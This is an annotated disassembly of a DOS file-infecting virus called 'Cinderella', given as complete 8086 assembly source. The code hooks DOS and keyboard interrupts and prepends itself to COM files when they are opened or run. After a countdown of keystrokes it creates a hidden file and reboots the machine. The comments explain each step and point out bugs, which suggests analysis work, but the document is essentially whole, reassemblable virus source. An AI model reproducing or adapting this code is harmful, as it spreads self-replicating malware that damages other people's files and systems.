	page	,132
;
;   NOTE: This virus expects to run in the 2nd half of the interrupt
;         vectors.  Therefore, it is loaded and disassembled from
;         offset 0200h.
;
;  name: cinder.vom
;
;  program type: com/bin
;
;  cpu type: 8086/8087
;
;  program loaded at 0000:0200
;
;  physical eof at 0000:0acd
;
;  program entry point at 0000:0200
;
fun	segment
assume	cs:fun,ds:fun,es:fun,ss:fun
;
;  references before the start of code space
;
	org	0000h
h_0000	label	word
	org	013bh
h_013b	label	word
;
;  data references to code space addresses
;
;	org	0360h
;h_0360	label	word
;
;  start of program
;
	org	0200h
h_0200:
	mov	ah,0fbh				;fn = virus ID
	int	21h				;call DOS
	or	ah,ah				;virus ID return?
	jz	h_0231				;yes, skip this
	xor	ax,ax				;get a 0
	push	ax				;copy INT seg
	pop	es				;to es
	mov	si,0100h			;ds:si = this virus
	mov	di,0200h			;es:di = 2nd half of INTs
	mov	cx,offset h_0386-h_0200 shr 1	;virus size in words (00c3h)
	repz	movsw				;copy virus to low mem
	push	es				;INT seg
	pop	ds				;to es
	mov	di,offset h_0386		;di = oldint21ofs
	mov	si,0084h			;si = INT 21 vector
	mov	bx,offset h_024d		;ofs of INT21HERE
	call	h_0345				;call get_set_int
	mov	di,offset h_038e		;di = oldint16ofs
	mov	si,0058h			;si = INT 16 vector
	mov	bx,offset h_0357		;ofs of INT16HERE
	call	h_0345				;call get_set_int
h_0231:
	push	cs				;current segment
	pop	ds				;to ds
	mov	si,[h_023b-0100h]		;get infected_program_size(013bh)
				;NOTE: At end of "normal" program is the
				;      replaced start of the infected program.
	mov	ah,0fch				;fn = virus execute
	int	21h				;dos call
;
h_023b	dw	0847h				;infected_program_size
;
;   filename to be created
;
h_023d	db	"cInDeReL.la"
;	db	63h,49h,6eh,44h,65h,52h,65h,4ch		;023d
;	db	2eh,6ch,61h				;0245
	db	0ffh,00h				;0248 ..
;
;			int24here
;
h_024a:
	xor	al,al				;response = IGNORE
	iret					;and done
;
;			int21here
;
h_024d:
	pushf					;save flags
	cmp	ah,0fbh				;fn = virus ID?
	jnz	h_0257				;no, skip this
	xor	ah,ah				;set virus ID return
	popf					;restore flags
	iret					;and done
h_0257:
	cmp	ah,0fch				;fn = virus execute?
	jnz	h_026a				;no, skip this
	popf					;save flags
	push	ds				;program seg
	pop	es				;to es
	pop	di				;get return IP
	mov	di,0100h			;normal COM start
	push	di				;to stack
	mov	cx,offset h_0386-h_0200 shr 1	;cx = size of virus (00c3h)
	repz	movsw				;replace program code
	iret					;and done
h_026a:
	cmp	ax,3d00h			;fn = open for read-only?
	jz	h_0274				;yes, stop here
	cmp	ah,4bh				;fn = load/execute?
	jnz	h_0297				;no, continue
h_0274:
	push	ax				;save regs
	push	bx
	push	cx
	push	dx
	push	es
	push	ds
	push	si
	push	di
	push	dx				;filename ofs
	pop	di				;to ds
	push	ds				;filename seg
	pop	es				;to es
	mov	al,2eh				;a period ('.')
h_0282:
	scasb					;look for period
	loopnz	h_0282				;not found, try again
				;BUG: CX is NOT set!
	mov	ax,[di]				;get start of extension
	or	ax,2020h			;force lower case
	cmp	ax,6f63h			;is it 'co'? (start of COM)
				;BUG: Extension is NOT relevant!
	jz	h_029d				;yes, keep infecting
h_028f:
	pop	di				;restore all regs
	pop	si
	pop	ds
	pop	es
	pop	dx
	pop	cx
	pop	bx
	pop	ax
h_0297:
	popf					;restore flags
	jmp	dword ptr cs:[h_0386]		;and continue INT 21
h_029d:
	push	ds				;save filename seg
	push	cs				;current seg
	pop	ds				;to ds
	mov	di,offset h_038a		;di = oldint24ofs
	mov	si,0090h			;si = INT 24 vector
	mov	bx,offset h_024a		;ofs of INT24HERE
	call	h_0345				;call get_set_int
	mov	si,0360h			;si = ptr to keyboard_count
	add	word ptr [si],029ah		;update keybaord_count
						;by 666 (decimal)
	pop	ds				;restore filename seg
	mov	ax,4300h			;fn = get file attributes
	int	21h				;call DOS
	jnae	h_0331				;error, quit
	push	ds				;save filename ofs
	push	cx				;and attributes
	push	dx				;and filename seg
	and	cl,0feh				;turn off read-only bit
	mov	ax,4301h			;fn = set file attributes
	int	21h				;call DOS
	jnae	h_0329				;error, quit
	mov	ah,48h				;fn = allocate memory
	mov	bx,offset h_0386-h_0200+0fh shr 4 ;virus size (paras) (0019h)
	int	21h				;call DOS
	jnae	h_0329				;error, quit
	push	ax				;save allocated seg
	push	ax				;copy allocated seg
	pop	es				;to es
	mov	ax,3d02h			;fn = open file for read/write
	int	21h				;call DOS
	pop	ds				;allocated seg to ds
	xchg	ax,bx				;handle to bx
	mov	ah,3fh				;fn = read file
	mov	cx,offset h_0386-h_0200		;virus size (0186h)
	xor	dx,dx				;ds:dx = allocated memory
	int	21h				;call DOS
	cmp	ax,offset h_0386-h_0200		;all bytes read? (0186h)
	jnz	h_0321				;no, quit!
	mov	ax,[0000h]			;get start of just-read program
	cmp	ax,0fbb4h			;our signature?
	jz	h_0321				;yes, skip this
	push	cx				;save bytes read
	mov	ax,4202h			;fn = lseek to EOF+CX:DX
	xor	cx,cx				;cx:dx = 0
	int	21h				;call DOS
	add	ah,01h				;fn = write
	mov	cs:[h_023b],ax			;set infected_program_size
	mov	ah,40h				;fn = write (AGAIN!)
	pop	cx				;restore size
	int	21h				;call DOS
	jnae	h_0321				;error, quit
	push	cx				;save size
	mov	ax,4200h			;fn = lseek to BOF+CX:DX
	xor	cx,cx				;cx:dx = 0
	int	21h				;call DOS
	mov	ah,40h				;fn = write to file
	pop	cx				;restore size
	mov	dh,02h				;dx = 0200h = this virus
	push	cs				;current segment
	pop	ds				;to ds
	int	21h				;call DOS
	mov	ax,5700h			;fn = get file time/date
	int	21h				;call DOS
	inc	al				;fn = set file time/date
	int	21h				;call DOS
h_0321:
	mov	ah,3eh				;fn = close file
	int	21h				;call DOS
	mov	ah,49h				;fn = free allocated memory
	int	21h				;call DOS
h_0329:
	mov	ax,4301h			;fn = set file attributes
	pop	dx				;get filename ofs back
	pop	cx				;and attributes
	pop	ds				;and filename seg
	int	21h				;call DOS
h_0331:
	cli					;do not disturb
	push	cs				;current segment (0)
	pop	ds				;to ds
	mov	si,offset h_038a		;si = oldint24ofs
	mov	di,0090h			;di = INT 24 vector
	lodsw					;get old INT 24 ofs
	mov	[di],ax				;replace it
	lodsw					;get old INT 24 seg
	mov	[di+02h],ax			;replace it
	sti					;ints are OK again
	jmp	h_028f				;cleanup stack and exit
;
;			get_set_int
;
h_0345:
	lodsw					;get INT ofs
	mov	[di],ax				;save for later
	lodsw					;get INT seg
	mov	[di+02h],ax			;save for later
	sub	si,+04h				;backup to the INT again
	cli					;do not disturb
	mov	[si],bx				;set new INT ofs
	mov	[si+02h],ds			;and new INT seg
	sti					;ints are OK again
	ret					;and done
;
;			int16here
;
h_0357:
	pushf					;save flags
	or	ah,ah				;fn = get character?
	jnz	h_0380				;no, we're done
	push	ds				;save ds
	push	cs				;current segment
	pop	ds				;to ds
h_0360	equ	$+1		;keyboard_count
	mov	ax,82b2h			;get keyboard_count
	or	ax,ax				;is it 0?
	jnz	h_0379				;no, skip this
	mov	ah,3ch				;fn = create file
	mov	cl,07h				;attribs = HIDDEN, SYSTEM, R/O
	mov	dx,offset h_023d		;ds:dx = cinderella_name
	int	21h				;call DOS
	xchg	ax,bx				;handle to bx
	mov	ah,3eh				;fn = close file
	int	21h				;call DOS
	jmp	0f000h:0e05bh			;goto test CPU (reboot?)
h_0379:
	dec	word ptr [h_0360]		;udpate keyboard_count
	xor	ax,ax				;reset fn
	pop	ds				;restore ds
h_0380:
	popf					;get flags back
	jmp	dword ptr cs:[h_038e]		;continue INT 16
;
;   end of virus itself.  Data space/infected program follows
h_0386	dw	5858h				;oldint21ofs
	dw	5858h				;0386 XXXX
h_038a	db	58h,58h,58h,58h			;oldint24ofs
h_038e	db	"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"  ;oldint16ofs
	db	"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
	db	"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
	db	"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
	db	"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
	db	"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
	db	"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
	db	"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
	db	"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
	db	"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
	db	"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
	db	"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
	db	"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
	db	"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
	db	"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
	db	"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
	db	"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
	db	"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
	db	"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
	db	"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
	db	"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
	db	"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
	db	"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
	db	"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
	db	"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
	db	"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
	db	"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
	db	"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
	db	"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
	db	"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
	db	"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
	db	"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
	db	"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
	db	"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
	db	"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
	db	"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
	db	"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
	db	"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
	db	"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
	db	"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
	db	"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
	db	"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
	db	"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
	db	"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
	db	"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
	db	"XXXXXXXXXXXXXXXX"
	dw	03bah,0b401h,0cd09h,0cd21h		;093e ......!.
	dw	0e920h,073bh,6854h,7369h		;0946  .;.This
	db	" is a tiny COM program, padded t"
	db	"o be larger."
	db	0dh,0ah					;097a
	db	"$XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
	db	"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
	db	"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
	db	"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
	db	"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
	db	"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
	db	"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
	db	"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
	db	"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
	db	"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
	db	"XXXXXXXXXXXXXXXXX"
fun	ends
	end	h_0200
